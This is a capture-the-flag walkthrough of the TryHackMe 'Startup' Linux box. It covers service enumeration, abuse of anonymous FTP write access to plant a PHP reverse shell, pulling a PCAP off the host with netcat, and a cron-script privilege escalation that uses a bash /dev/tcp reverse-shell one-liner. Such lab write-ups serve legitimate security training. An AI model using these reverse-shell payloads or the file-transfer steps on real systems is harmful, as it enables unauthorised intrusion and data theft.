THM: Startup is an easy Linux box that’s good for practicing enumeration. We will be attacking the systems of Spice Hut, a spicy new food startup company. It starts off with a misconfigured FTP service that allows anonymous read access as well as write access in a specific directory. We will abuse this to upload some PHP shell code that we can execute through the HTTP service to get our initial foothold. Once on the box, a bit of enumeration reveals a PCAP file labeled as a suspicious incident. After combing through this file we’ll find the password for an unprivileged user. From there, privesc is a straightforward manipulation of a shell script being executed by root on a cronjob.


└─$ sudo rustscan -a -- -sV -O -oA nmap1

21/tcp open  ftp     syn-ack ttl 61 vsftpd 3.0.3       
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)              
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port          
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 5.4 (94%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV
 (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)                                 
No exact OS matches for host (test conditions non-ideal).                             
Uptime guess: 203.730 days (since Sun Jan  9 14:12:53 2022)                                                    
Network Distance: 4 hops                               
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros                   
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

So we have HTTP and FTP running. Let’s take a look at HTTP first.

Default web page

It’s a plain webpage that doesn’t help us much, and there is nothing interesting in the HTML source either.

By running some basic content fuzzing we’ll find a /files directory.

└─$ ffuf -t 100 -u -w /usr/share/wordlists/dirb/big.txt -c           

.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10]
files                   [Status: 301, Size: 312, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10]

It contains a notice.txt file with a reference to someone named Maya, so that may be a potential username later?

Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.

Let’s switch over to the FTP service. Whenever you see FTP it’s always worth checking if anonymous access is allowed by connecting with the username anonymous and an empty password.

└─$ ftp -v 
Connected to
220 (vsFTPd 3.0.3)

Name ( anonymous
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp
-rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt

This looks familiar… The FTP service’s root is the /files directory.

But notice the permissions on the ftp directory! We can write to it, which means we can try to upload a malicious file and get code execution.

Initial Foothold

Since we know the HTTP server is Apache, we can guess that PHP may be enabled.

In another terminal window we can run echo "<?php phpinfo(); ?>" > info.php to create a test file.

In FTP, cd ftp to change to the ftp directory and send info.php to upload the file.

Now we can see if it executes by going to in a browser.

Running phpinfo() on the target

And it worked! Now, let’s make a shell payload.

└─$ echo '<?php $sock=fsockopen("",9001);$proc=proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>' > shell.php 

After uploading it, we can run nc -nlvp 9001 in a terminal to start a listener and then can launch the shell by visiting

└─$ nc -nlvp 9001                                                                                          1 ⨯
listening on [any] 9001 ...
connect to [] from (UNKNOWN) [] 39110
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@startup:/var/www/html/files/ftp$ ^Z
zsh: suspended  nc -nlvp 9001
└─$ stty raw -echo; fg                                                                               148 ⨯ 1 ⚙
[1]  + continued  nc -nlvp 9001

www-data@startup:/var/www/html/files/ftp$ export SHELL=bash
www-data@startup:/var/www/html/files/ftp$ export TERM=xterm
www-data@startup:/var/www/html/files/ftp$ stty rows 70 columns 111

User Flag

Now it’s time to start exploring.

In the root directory there is a recipe.txt file which is our first flag.

There is also an incidents/ user owned by our current user that contains a PCAP file.

Let’s transfer this back to ourselves to examine it. which nc shows netcat is installed so we can use it to send the file.

In a local terminal run nc -nlvp 9001 > suspicious.pcapng to open a listener that will write what it receives to a file. And on the target run nc [your THM VPN IP] 9001 < suspicious.pcapng to send it.

Now that we have the file locally we can open it in Wireshark to see what’s so suspicious about it.

It takes a bit of time to look through the various traffic streams but filtering to eq 7 shows us the good stuff.

PCAP analysis in Wireshark

Someone had a shell on the box and running commands just like we’re doing now, only whoever it was had a password. They tried running sudo -l as www-data user and we can see the password in plaintext. Only it turns out that is the password for the user lennie!

www-data@startup:/$ su lennie

lennie@startup:/$ id
uid=1002(lennie) gid=1002(lennie) groups=1002(lennie)

lennie@startup:/$ cd /home/lennie
lennie@startup:~$ ls -la
total 20
drwx------ 4 lennie lennie 4096 Nov 12  2020 .
drwxr-xr-x 3 root   root   4096 Nov 12  2020 ..
drwxr-xr-x 2 lennie lennie 4096 Nov 12  2020 Documents
drwxr-xr-x 2 root   root   4096 Nov 12  2020 scripts
-rw-r--r-- 1 lennie lennie   38 Nov 12  2020 user.txt

lennie@startup:~$ wc -c user.txt 
38 user.txt

Privilege Escalation

Let’s look through the scripts directory inside Lennie’s home directory.

lennie@startup:~/scripts$ ls -lah
total 16K
drwxr-xr-x 2 root   root   4.0K Nov 12  2020 .
drwx------ 4 lennie lennie 4.0K Nov 12  2020 ..
-rwxr-xr-x 1 root   root     77 Nov 12  2020
-rw-r--r-- 1 root   root      1 Aug  8 13:13 startup_list.txt

This looks suspicious right away, as both files in this directory are owned by root and startup_list.txt was modified within the past minute. If we wait another minute we’ll see it is updated again.

Looking into shows it is executing another script /etc/

echo $LIST > /home/lennie/scripts/startup_list.txt

Aaaand Lennie owns the print script!

lennie@startup:~/scripts$ ls -la /etc/
-rwx------ 1 lennie lennie 25 Nov 12  2020 /etc/

So, now we can put all the pieces together assume that root must be running as a cronjob every minute since only they can write to startup_list.txt. However, since also executes /etc/ which is within our control, we can insert a command to send ourselves a root shell!

echo '/bin/bash -i >& /dev/tcp/ 0>&1' >> /etc/

Finally, we can open a listener and wait up to a minute for the script to run again.

└─$ nc -nlvp 9001                    
listening on [any] 9001 ...
connect to [] from (UNKNOWN) [] 39128
bash: cannot set terminal process group (28961): Inappropriate ioctl for device
bash: no job control in this shell

root@startup:~# id
uid=0(root) gid=0(root) groups=0(root)

root@startup:~# cd /root
cwd /root

root@startup:~# wc -c root.txt
wc -c root.txt
38 root.txt